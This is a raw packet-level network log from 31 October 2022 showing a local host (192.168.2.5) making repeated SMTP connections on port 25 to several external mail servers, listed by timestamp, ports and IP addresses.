Oct 31, 2022 12:20:01.102808952 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.102808952 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.102866888 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.102902889 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.102904081 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.102958918 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.102965117 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.102988005 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.103058100 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.103162050 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.103291988 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.103338957 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.103365898 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.103393078 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.103420019 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.103446960 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.107677937 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.107709885 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.121779919 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.121829987 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.121922016 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.121922016 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.121947050 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122008085 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.122018099 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122085094 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.122086048 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122147083 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.122157097 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122217894 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.122232914 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122291088 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.122298002 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122366905 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.122374058 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122443914 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122445107 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.122476101 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122503996 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122531891 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122556925 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122584105 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.122852087 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.123051882 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.123080015 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.125186920 CET	25	49836	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:01.125219107 CET	25	49835	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:01.125320911 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:01.125647068 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.125674963 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.125721931 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:01.127473116 CET	25	49836	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:01.127542973 CET	25	49835	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:01.127568007 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:01.127595901 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:01.136512041 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.136589050 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.136627913 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.136657953 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.136825085 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.136852980 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.136883974 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.136910915 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.136938095 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137022972 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137145996 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137173891 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137201071 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137227058 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137254000 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137280941 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137310982 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.137337923 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.153398991 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153460026 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153479099 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153518915 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153559923 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153600931 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153647900 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153676987 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153712988 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153749943 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153788090 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153857946 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153894901 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153933048 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.153971910 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.154010057 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.154051065 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.154082060 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.167998075 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.190941095 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.214629889 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.225928068 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.230124950 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.230206966 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.244613886 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:01.244671106 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:01.244870901 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:01.248178959 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.248379946 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.273644924 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:01.282856941 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.283054113 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.315881968 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.319879055 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.328293085 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:01.343132973 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.348299026 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.376389980 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.376625061 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.382074118 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.382193089 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.413810015 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.413846016 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.413958073 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.414927959 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.417758942 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.424935102 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.425035000 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.457403898 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:01.458463907 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.458597898 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.461415052 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.461776018 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.495709896 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.495867014 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.534967899 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.576863050 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.577367067 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.610243082 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.611044884 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.611248016 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.612399101 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.645159960 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.645200014 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.645385981 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.645385981 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.645442009 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.645484924 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.645512104 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.645534992 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.645534992 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.645581961 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.650978088 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.651097059 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.674858093 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.675213099 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.678329945 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678374052 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678402901 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678428888 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678451061 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.678457022 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678486109 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678513050 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678539991 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678543091 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.678565979 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678585052 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.678591967 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678617954 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678644896 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678672075 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678697109 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.678700924 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678735971 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678764105 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678791046 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.678817034 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.683795929 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.683835030 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.709162951 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.709388971 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.709676027 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.711200953 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.711492062 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711522102 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711549997 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711576939 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711606026 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711682081 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711757898 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711785078 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711926937 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711960077 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.711987972 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.712017059 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.712044954 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.712126970 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.712153912 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.712181091 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.712208986 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.712234974 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.714061022 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.714235067 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.744930983 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.744986057 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.745064020 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.745124102 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.745151997 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.745223999 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.745351076 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.745417118 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.745518923 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.745582104 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.747339010 CET	25	49842	142.251.5.27	192.168.2.5
Oct 31, 2022 12:20:01.747447968 CET	49842	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:20:01.750555038 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.750673056 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.757693052 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:01.780020952 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780075073 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780105114 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780133963 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780162096 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780190945 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780219078 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.780222893 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780251026 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780278921 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780304909 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780330896 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780354023 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.780358076 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780383110 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780410051 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780426025 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.780435085 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780443907 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.780464888 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780493021 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.780519009 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.784661055 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.784697056 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.791369915 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:01.791577101 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:01.814378977 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814438105 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814462900 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814492941 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814515114 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814537048 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814558983 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814594984 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814616919 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814637899 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814657927 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814699888 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814721107 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814740896 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814764023 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814785004 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814805031 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.814826012 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.823867083 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:01.824069977 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:01.833797932 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:01.834162951 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:01.845226049 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.845289946 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.845422983 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.845463037 CET	49843	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:01.868132114 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:01.878508091 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:01.878946066 CET	25	49843	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:01.879368067 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:01.879508972 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:01.917603970 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:01.920300007 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:01.920520067 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:01.958674908 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.081211090 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.081568003 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.114752054 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.123023033 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.123532057 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.125366926 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.128640890 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:02.128809929 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:02.158605099 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.158689976 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.158708096 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.158737898 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.158756018 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.159075975 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.163477898 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.163664103 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.192464113 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192560911 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192589998 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192616940 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192646027 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192675114 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192703009 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192729950 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192756891 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192786932 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192814112 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192821980 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.192822933 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.192846060 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192874908 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192904949 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192929029 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.192929029 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.192936897 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192962885 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.192994118 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.193021059 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.196537018 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.196602106 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226054907 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226084948 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226095915 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226105928 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226115942 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226125956 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226135969 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226147890 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226161957 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226332903 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226349115 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226361990 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226372004 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226387978 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226464987 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226480961 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226495028 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.226547956 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.236989021 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.237231970 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.245964050 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:02.246187925 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:02.266993999 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.274743080 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.278053045 CET	25	49845	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:02.278203011 CET	49845	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:02.294405937 CET	25	49847	142.250.153.27	192.168.2.5
